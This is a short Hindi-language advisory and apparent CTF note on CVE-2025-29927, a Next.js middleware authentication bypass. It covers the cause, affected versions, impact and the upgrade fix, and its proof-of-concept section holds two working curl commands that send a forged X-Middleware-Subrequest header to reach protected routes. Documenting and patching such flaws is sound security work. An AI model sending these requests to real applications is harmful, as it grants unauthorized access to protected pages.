CVE-2025-29927 — Next.js मिडलवेयर प्रमाणीकरण बायपास

अवलोकन

कल्पना करें कि क्लब के बाहर एक बाउंसर है, लेकिन यदि आप उसे कहते हैं "मैं पहले से अंदर हूँ," तो वह आपको बिना जाँचे अंदर जाने देता है। यही वास्तव में CVE-2025-29927 है।

Next.js में मिडलवेयर अनुरोध प्रसंस्करण से पहले चलता है, जिससे यह प्रमाणीकरण संभालने के लिए आदर्श स्थान बनता है। Next.js एक आंतरिक x-middleware-subrequest हेडर का उपयोग पुनरावर्ती अनुरोधों को रोकने और अनंत लूप से बचने के लिए करता है। यह भेद्यता दर्शाती है कि मिडलवेयर निष्पादन को पूरी तरह से बायपास या छोड़ना संभव है — जिसमें सुरक्षित मार्ग तक पहुँचने से पहले प्रमाणीकरण जैसे महत्वपूर्ण सुरक्षा जाँच शामिल हैं।

---

प्रभावित संस्करण

शाखा	निर्धारित संस्करण में
15.x	< 15.2.3
14.x	< 14.2.25
13.x	< 13.5.9

असुरक्षित अनुप्रयोग

• वे अनुप्रयोग जो Next.js होस्ट करते हैं और मिडलवेयर का उपयोग करते हैं
• वे अनुप्रयोग जो प्रमाणीकरण और सुरक्षा जाँच के लिए मिडलवेयर पर निर्भर करते हैं, बिना बाद में ऐप्लिकेशन स्टैक में सत्यापन किए

अप्रभावित

• Vercel पर होस्ट किए गए अनुप्रयोग
• Netlify पर होस्ट किए गए अनुप्रयोग
• स्टैटिक एक्सपोर्ट के रूप में प्रकाशित अनुप्रयोग (मिडलवेयर निष्पादित नहीं होता)

---

प्रभाव

हजारों या लाखों अनुप्रयोग अप्रकाशित Next.js संस्करणों पर चल रहे हैं। यदि शमन नहीं किया गया, तो यह भेद्यता किसी को भी — बिना किसी क्रेडेंशियल के — सुरक्षित मार्गों तक अनधिकृत पहुँच प्रदान करती है।

---

प्रूफ ऑफ कॉन्सेप्ट

curl -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  http://localhost:3000/private-area

प्रतिक्रिया में बिना किसी प्रमाणीकरण के सुरक्षित पृष्ठ लौटता है।

मैंने इस भेद्यता का वास्तविक CTF वातावरण में शोषण किया

curl -s "http://<target>/<private-area>" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"

---

फिक्स

Next.js को पैच किए गए संस्करण में अपग्रेड करें:

• 15.x → 15.2.3 या उच्चतर
• 14.x → 14.2.25 या उच्चतर
• 13.x → 13.5.9 या उच्चतर